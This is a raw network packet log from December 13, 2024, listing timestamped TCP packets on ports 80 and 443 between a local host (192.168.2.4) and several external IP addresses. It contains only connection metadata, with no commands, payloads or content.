Dec 13, 2024 01:51:54.508200884 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.508265972 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.508318901 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.509078979 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.509136915 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.509202957 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.509255886 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.510063887 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.510176897 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.510191917 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.510221004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.511065960 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.511118889 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.511188030 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.511240959 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.512048006 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.512108088 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.512155056 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.512213945 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.513034105 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.513103008 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.513153076 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.513205051 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.513998032 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.514051914 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.514127970 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.514259100 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.515012026 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.515064955 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.515140057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.515196085 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.516026974 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.516113997 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.516128063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.516412020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.517035961 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.517100096 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.517127037 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.517329931 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.517966032 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.518050909 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.518134117 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.518495083 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.518948078 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.519011974 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.519077063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.519196033 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.519982100 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.520040035 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.520082951 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.520137072 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.520930052 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.520991087 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.521042109 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.521096945 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.521903038 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.521965027 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.522038937 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.522109985 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.522885084 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.523037910 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.523102045 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.523904085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.524058104 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.524116039 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.524890900 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.524950981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.525024891 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.525094986 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.525871992 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.525928020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.526001930 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.526453018 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.526834011 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.526890039 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.526968002 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.527012110 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.527878046 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.528009892 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.528069019 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.528851032 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.528907061 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.528968096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.529175043 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.529803991 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.529860973 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.529936075 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.529985905 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.530782938 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.530915976 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.530986071 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.531774998 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.531899929 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.531958103 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.532792091 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.532850027 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.532907963 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.533020020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.533763885 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.533824921 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.533893108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.534230947 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.534813881 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.534869909 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.534933090 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.535002947 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.535749912 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.535810947 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.535877943 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.535979033 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.536712885 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.536767960 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.536842108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.536906004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.537741899 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.537800074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.537832022 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.537878990 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.538705111 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.538816929 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.538820028 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.538865089 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.539674044 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.539729118 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.539827108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.539882898 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.540646076 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.540745020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.540802956 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.541635990 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.541693926 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.541785002 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.541836023 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.542669058 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.542723894 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.542762041 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.542841911 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.543584108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.543641090 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.684681892 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.684706926 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.684753895 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.684806108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.684848070 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.684897900 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.684937954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.685205936 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.685841084 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.685929060 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.685966969 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.686018944 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.686829090 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.686881065 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.686928988 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.686980009 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.687813044 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.687871933 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.687920094 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.687973022 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.688805103 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.688858032 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.688905001 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.688957930 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.689779043 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.689834118 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.689888954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.689938068 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.690773010 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.690824032 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.690840006 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.690886974 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.806555986 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:54.806767941 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:54.808053017 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:54.808068037 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:54.808434963 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:54.809688091 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:54.809788942 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:54.809802055 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:54.890877008 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:54.890948057 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:54.892126083 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:54.892141104 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:54.892347097 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:54.893623114 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:54.893780947 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:54.893814087 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:54.893877983 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:54.893886089 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:55.163081884 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:55.163261890 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:55.165931940 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:55.165947914 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:55.167769909 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:55.167777061 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:55.536539078 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:55.536720991 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:55.536818027 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:55.561216116 CET	49887	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:55.561233997 CET	443	49887	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:55.921794891 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:55.921886921 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:55.922055006 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:55.926645041 CET	49888	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:55.926685095 CET	443	49888	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:56.056611061 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:56.056653023 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:56.056716919 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:56.059742928 CET	49890	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:56.059767008 CET	443	49890	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:56.072607040 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:56.072643042 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:56.072788954 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:56.073005915 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:56.073029041 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:56.082870007 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:56.082895994 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:56.083138943 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:56.083138943 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:56.083168983 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:56.110119104 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:56.229931116 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:56.354842901 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:56.354934931 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:56.355015993 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:56.355308056 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:56.355333090 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:56.618608952 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:56.618717909 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:56.906929970 CET	49874	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:56.907387972 CET	49902	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:57.027208090 CET	80	49874	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:57.027255058 CET	80	49902	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:57.027270079 CET	49874	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:57.027462959 CET	49902	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:57.027554035 CET	49902	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:57.147623062 CET	80	49902	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:57.288995981 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:57.289237022 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:57.290358067 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:57.290368080 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:57.290572882 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:57.291750908 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:57.291846037 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:57.291877031 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:57.480521917 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:57.480679989 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:57.481096983 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:57.481110096 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:57.482759953 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:57.482767105 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:57.577353954 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.577496052 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.578747988 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.578777075 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.579160929 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.580287933 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.580981970 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.581031084 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.581171036 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.581217051 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.581351042 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.581408024 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.581561089 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.581619978 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.581794977 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.581851959 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.582042933 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.582088947 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.582107067 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.582135916 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.582298040 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.582345009 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.582391024 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.582474947 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.582540989 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.627336979 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.627707958 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.627809048 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.627860069 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.627911091 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:57.628016949 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:57.628063917 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:58.366370916 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.366419077 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.366482019 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.366482019 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.366496086 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.366539001 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.366544962 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.366628885 CET	49897	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.366636992 CET	443	49897	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.376662970 CET	49905	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.376687050 CET	443	49905	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.376781940 CET	49905	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.376990080 CET	49905	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:58.377001047 CET	443	49905	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:58.378436089 CET	80	49902	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:58.378530979 CET	49902	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:58.381814003 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:58.382078886 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:58.501744986 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:58.501902103 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:58.502039909 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:58.502188921 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:58.502188921 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:58.621910095 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:58.641138077 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:58.760901928 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:59.131001949 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:59.131081104 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:59.783907890 CET	443	49905	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:59.784557104 CET	49905	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:59.787616968 CET	49905	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:59.787623882 CET	443	49905	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:59.789994001 CET	49905	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:59.789998055 CET	443	49905	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:59.843451023 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843524933 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843559980 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843596935 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843611002 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.843631983 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843647003 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.843667984 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843702078 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.843723059 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843734026 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.843760967 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843794107 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843816042 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.843828917 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.843849897 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.843883038 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:59.963623047 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.963725090 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:59.963881016 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.035381079 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.035501003 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.035526037 CET	80	49906	185.215.113.16	192.168.2.4
